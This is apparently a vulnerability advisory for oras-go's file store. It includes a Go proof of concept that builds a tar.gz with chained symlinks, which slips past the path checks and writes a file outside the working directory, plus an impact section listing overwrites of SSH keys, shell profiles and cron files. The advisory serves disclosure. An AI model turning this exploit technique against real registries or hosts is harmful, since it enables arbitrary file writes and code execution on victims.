Details
// Victim creates a file store with default settings (path traversal DISALLOWED).
store, err := file.New(workDir)
if err != nil {
return err
}
defer store.Close()
fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)
// This is exactly what oras.Copy() invokes per layer.
if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
return fmt.Errorf("Push: %w", err)
}
// Check whether the out-of-tree file was written.
if data, err := os.ReadFile(outsidePath); err == nil {
rel, _ := filepath.Rel(workDir, outsidePath)
fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
fmt.Printf("[!] relative to workDir: %s\n", rel)
fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
return nil
}
fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
return nil
}
// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
var buf bytes.Buffer
gzw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gzw)
// 1. Nested directories: title/d0/d1/.../d{depth-1}
dirs := make([]string, depth)
for i := 0; i < depth; i++ {
dirs[i] = fmt.Sprintf("d%d", i)
}
for i := 1; i <= depth; i++ {
name := title + "/" + strings.Join(dirs[:i], "/")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
return nil, "", 0, err
}
}
// 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
// Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
upName := title + "/" + strings.Join(dirs, "/") + "/up"
upTarget := strings.Repeat("../", depth-1) + ".."
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 3. "escape" symlink at title/escape.
// Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
// LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
// d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it.
// KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
// climbs to "/", then appends outsidePath.
dots := strings.Repeat("../", depth-1) + ".."
escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 4. Regular file entry at title/escape - same path as the symlink.
// resolveRelToBase("escape") has dir=="." so the per-component Lstat
// loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
// O_NOFOLLOW) and writes through the symlink to outsidePath.
payload := []byte("PWNED-BY-ORAS-TARSLIP")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
return nil, "", 0, err
}
if _, err := tw.Write(payload); err != nil {
return nil, "", 0, err
}
if err := tw.Close(); err != nil {
return nil, "", 0, err
}
if err := gzw.Close(); err != nil {
return nil, "", 0, err
}
data := buf.Bytes()
return data, digest.FromBytes(data), int64(len(data)), nil
}
Expected output (paths vary):
[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false
[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
### Impact
**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.
**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host.
**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).